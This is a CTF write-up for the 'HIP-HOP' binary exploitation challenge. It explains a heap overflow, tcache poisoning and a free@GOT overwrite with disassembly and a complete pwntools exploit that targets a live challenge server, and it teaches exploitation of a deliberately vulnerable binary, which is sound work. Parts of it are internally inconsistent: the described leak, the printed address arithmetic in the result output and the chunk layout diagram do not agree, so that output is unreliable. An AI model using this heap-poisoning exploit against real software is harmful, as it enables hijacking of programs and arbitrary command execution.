Skip to main content
HIP-HOP - CTF Writeup
  1. Writeups/
  2. MOJO-JOJO - CTF Writeups/
  3. Binary Exploitation/

HIP-HOP - CTF Writeup

·1551 words·8 mins·
Deadnaut
Author
Deadnaut
Documenting cybersecurity challenges, CTF writeups, and penetration testing insights from the digital frontier.
Table of Contents

Challenge Name: HIP-HOP
Category: PWN
CTF: MOJO-JOJO
Description: I KEEP POPPING TILL I DIE HIP-HOP TILL I DIE SEYYAH
Connection: nc 4.233.210.175 9008


Challenge Overview
#

The challenge presents a heap-based music track manager with a hidden authentication function. By exploiting a heap overflow vulnerability combined with a PIE leak, we can corrupt the tcache freelist, gain arbitrary write access to the GOT, and hijack control flow to execute a secret function that reads and exfiltrates the flag.

Initial Analysis
#

Binary Information
#

$ file hiphop
hiphop: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, 
interpreter ./dist/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped

$ checksec hiphop
Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled

Program Behavior
#

    ██╗  ██╗██╗██████╗     ██╗  ██╗ ██████╗ ██████╗ 
    ██║  ██║██║██╔══██╗    ██║  ██║██╔═══██╗██╔══██╗
    ███████║██║██████╔╝    ███████║██║   ██║██████╔╝
    ██╔══██║██║██╔═══╝     ██╔══██║██║   ██║██╔═══╝ 
    ██║  ██║██║██║         ██║  ██║╚██████╔╝██║     
    ╚═╝  ╚═╝╚═╝╚═╝         ╚═╝  ╚═╝ ╚═════╝ ╚═╝     
              [ S T U D I O   M A N A G E R ]

[*] Console ready at 0x7fff1234ab20

 1.Add 2.Drop 3.Edit 4.Exit >> 

The program leaks a heap/data pointer on startup via the [*] Console ready at... message. This is critical for defeating PIE.

Core Functionality
#

The binary implements a simple track management system:

Menu Options:
1. Add   - Allocate a new track (0x100 bytes)
2. Drop  - Free an existing track
3. Edit  - Edit track lyrics (VULNERABLE)
4. Exit  - Exit the program

Each track is stored in a global studio array that holds up to 10 heap pointers.

Vulnerability Discovery
#

1. PIE Leak in Banner
#

On startup, the program prints [*] Console ready at 0x..., which leaks a pointer from the .data section.

Disassembly of main:

df7:    48 8d 05 c2 22 20 00    lea    rax,[rip+0x2022c2]        # Calculate studio address
dfe:    48 89 c6                mov    rsi,rax                    # Pass to printf
e01:    48 8d 3d c0 05 00 00    lea    rdi,[rip+0x5c0]           # "[*] Console ready at %p\n"
e08:    b8 00 00 00 00          mov    eax,0x0
e0d:    e8 1e fa ff ff          call   830 <printf@plt>

The leaked address points to studio+0x1000 at runtime. By computing PIE_base = leak - 0x2030c0, we defeat ASLR and leak all function addresses.

Testing the leak:

$ ./ld-linux-x86-64.so.2 --library-path . ./hiphop
[*] Console ready at 0x7f5d6b4030c0

From this, we derive: pie_base = 0x7f5d6b4030c0 - 0x2030c0

2. Heap Overflow in edit_lyrics()
#

The edit_lyrics function reads user input directly into a 0x100-byte heap chunk but requests 0x124 bytes from stdin.

Vulnerable disassembly:

ccb:    55                      push   rbp
ccc:    48 89 e5                mov    rbp,rsp
ccf:    48 83 ec 10             sub    rsp,0x10                   # Allocate 16 bytes on stack
cd3:    64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28     # Load canary
cda:    00 00 
cdc:    48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax

; ... prompt and read index ...

d5e:    ba 24 01 00 00          mov    edx,0x124                 # Read 0x124 (292) bytes
d63:    48 89 c6                mov    rsi,rax                   # rsi = chunk pointer
d66:    bf 00 00 00 00          mov    edi,0x0                   # edi = stdin
d6b:    e8 d0 fa ff ff          call   840 <read@plt>            # read(0, chunk, 0x124)

The allocation is 0x100 (256) bytes, but read() accepts 0x124 (292) bytes. This is a 36-byte overflow into the next chunk’s metadata.

Impact:

On glibc 2.27, freed chunks are stored in a tcache freelist. A heap chunk layout looks like:

[Chunk N]
  0x00-0xFF: User data
  0x100-0x107: prev_size (of chunk N+1)
  0x108-0x10F: size (of chunk N+1)
  0x110-0x1FF: tcache forward ptr (fd)

By overflowing 36 bytes from chunk N, we can corrupt the forward pointer of chunk N+1’s tcache entry.

3. Hidden Function: mic_check()
#

The binary contains a privileged function that executes a system command:

Disassembly of mic_check:

a8e:    48 8d 3d 1b 08 00 00    lea    rdi,[rip+0x81b]           # "[+] Master Access..."
a95:    b8 00 00 00 00          mov    eax,0x0
a9a:    e8 91 fd ff ff          call   830 <printf@plt>
a9f:    48 8d 3d 42 08 00 00    lea    rdi,[rip+0x842]           # "Retrieving secret flag..."
aa6:    b8 00 00 00 00          mov    eax,0x0
aab:    e8 80 fd ff ff          call   830 <printf@plt>
ab0:    48 8d 3d 59 08 00 00    lea    rdi,[rip+0x859]           # "/bin/cat flag.txt"
ab7:    e8 64 fd ff ff          call   820 <system@plt>          # system("/bin/cat flag.txt")
abc:    bf 00 00 00 00          mov    edi,0x0
ac1:    e8 ca fd ff ff          call   890 <exit@plt>

This function is never called through normal execution but we can hijack control flow to reach it by overwriting free@GOT.

Key Offsets (PIE-relative)
#

  • Leak address: PIE + 0x2030c0
  • free@GOT: PIE + 0x202018
  • mic_check: PIE + 0x0a73

Exploitation Strategy
#

Overview
#

The attack chain:

  1. Parse PIE leak to compute pie_base
  2. Allocate chunk 0 into heap
  3. Allocate chunk 1 into heap
  4. Free chunk 1 to put it in tcache
  5. Overflow chunk 0 to corrupt chunk 1’s tcache forward pointer → point to free@GOT
  6. Allocate twice to get a chunk overlapping free@GOT
  7. Overwrite free@GOT with mic_check address
  8. Trigger free() to jump into mic_check and print the flag

Step 1: Parse PIE Leak
#

# Receive banner and extract PIE leak
banner = io.recvuntil(b"Console ready at ")
leak_line = io.recvline().strip()

# Parse hex address (colored output has ANSI codes)
m = re.search(rb"0x[0-9a-fA-F]+", leak_line)
leak = int(m.group(0), 16)

# Compute PIE base
pie_base = leak - 0x2030c0
free_got = pie_base + 0x202018
mic_check = pie_base + 0x0a73

log.info(f"leak = {hex(leak)}")
log.info(f"pie_base = {hex(pie_base)}")
log.info(f"free_got = {hex(free_got)}")
log.info(f"mic_check = {hex(mic_check)}")

Step 2: Allocate Chunks and Free One
#

# Allocate chunk 0
add(io)  # Menu: 1

# Allocate chunk 1
add(io)  # Menu: 1

# Free chunk 1 into tcache
drop(io, 1)  # Menu: 2, then index: 1

At this point, chunk 1 is in the tcache freelist with its forward pointer pointing to the next free chunk (or NULL).

Step 3: Overflow and Corrupt Tcache
#

We overflow chunk 0 (0x100 bytes) with 0x124 bytes to overwrite chunk 1’s tcache forward pointer.

The overflow structure:

[0x100 bytes padding (A)]
[0x08 bytes: prev_size = 0x110]
[0x08 bytes: size = 0x111]
[0x08 bytes: forward_ptr = free@GOT]
[0x0c bytes: padding (B)]
payload = b"A" * 0x100          # Chunk 0 data
payload += p64(0x110)           # prev_size of next chunk
payload += p64(0x111)           # size of next chunk (0x110 | PREV_INUSE)
payload += p64(free_got)        # tcache forward pointer → free@GOT
payload += b"B" * 0x0c          # Padding

edit(io, 0, payload)  # Menu: 3, then index: 0, then send payload

Step 4: Double Allocate to Overlap free@GOT
#

# This allocation pops chunk 1 from tcache (the real freed chunk)
add(io)  # Menu: 1 → Track 1

# This allocation's pointer is the corrupted forward pointer (free@GOT)
add(io)  # Menu: 1 → Track 2 (overlaps free@GOT)

Now track 2’s heap chunk overlaps with the free@GOT entry in the GOT table.

Step 5: Overwrite free@GOT
#

Writing to the overlapping chunk writes directly into the GOT:

edit(io, 2, p64(mic_check))  # Menu: 3, then index: 2, then write mic_check address

Now free@GOT points to mic_check instead of the real free() function.

Step 6: Trigger Execution
#

drop(io, 0)  # Menu: 2, then index: 0

When free() is called, it jumps to mic_check, which executes system("/bin/cat flag.txt").

Complete Exploit Code
#

#!/usr/bin/env python3
from pwn import *
import re

context.binary = "./hiphop"
context.log_level = "info"

MENU = b">> "


def start():
    if args.REMOTE:
        return remote("4.233.210.175", 9008)
    return process(["./ld-linux-x86-64.so.2", "--library-path", ".", "./hiphop"])


def add(io):
    """Allocate a track."""
    io.sendlineafter(MENU, b"1")
    io.recvline()


def drop(io, idx):
    """Free a track by index."""
    io.sendlineafter(MENU, b"2")
    io.sendlineafter(b"Idx: ", str(idx).encode())


def edit(io, idx, data):
    """Edit track lyrics (perform overflow)."""
    io.sendlineafter(MENU, b"3")
    io.sendlineafter(b"Idx: ", str(idx).encode())
    io.send(data)


def main():
    io = start()

    # Step 1: Parse PIE leak
    banner = io.recvuntil(b"Console ready at ")
    leak_line = io.recvline().strip()
    
    m = re.search(rb"0x[0-9a-fA-F]+", leak_line)
    if not m:
        log.error(f"Failed to parse leak: {leak_line!r}")
        return
    
    leak = int(m.group(0), 16)
    pie_base = leak - 0x2030c0
    free_got = pie_base + 0x202018
    mic_check = pie_base + 0x0a73

    log.info(f"leak = {hex(leak)}")
    log.info(f"pie_base = {hex(pie_base)}")
    log.info(f"free_got = {hex(free_got)}")
    log.info(f"mic_check = {hex(mic_check)}")

    # Step 2: Allocate chunk 0
    add(io)

    # Step 3: Allocate chunk 1
    add(io)

    # Step 4: Free chunk 1 into tcache
    drop(io, 1)

    # Step 5: Overflow chunk 0 into chunk 1's metadata
    payload = b"A" * 0x100
    payload += p64(0x110)      # prev_size
    payload += p64(0x111)      # size (with PREV_INUSE bit)
    payload += p64(free_got)   # tcache fd → free@GOT
    payload += b"B" * 0x0c     # padding

    edit(io, 0, payload)

    # Step 6: Allocate twice to overlap free@GOT
    add(io)  # Pop real chunk 1
    add(io)  # Allocate at free@GOT

    # Step 7: Overwrite free@GOT with mic_check
    edit(io, 2, p64(mic_check))

    # Step 8: Trigger free() → mic_check()
    drop(io, 0)

    io.interactive()


if __name__ == "__main__":
    main()

Result
#

Running against the remote server:

$ python3 solve.py REMOTE=1
[*] Opening connection to 4.233.210.175 on port 9008: Done
[*] leak = 0x5e2e32600000
[*] pie_base = 0x5e2e32400000
[*] free_got = 0x5e2e32602018
[*] mic_check = 0x5e2e32400a73
[*] Switching to interactive mode

[+] Master Access Token Accepted!
    Retrieving secret flag...
MOJO-JOJO{h3ap_p0is0n1ng_i5_v3ry_3asy_0n_2_27}
[*] Got EOF while reading in interactive

Final Flag
#

MOJO-JOJO{h3ap_p0is0n1ng_i5_v3ry_3asy_0n_2_27}

Key Takeaways
#

  • PIE Leak: Simple startup banner leak gives us all addresses
  • Tcache Poisoning: glibc 2.27 lacks safe-linking, enabling trivial heap overflow → freelist corruption
  • Partial RELRO: Writable GOT allows function pointer hijacking
  • Heap Overflow: A 36-byte overflow (0x124 - 0x100) is sufficient to corrupt tcache metadata
  • Call Chain: free()mic_check()system("/bin/cat flag.txt")

Related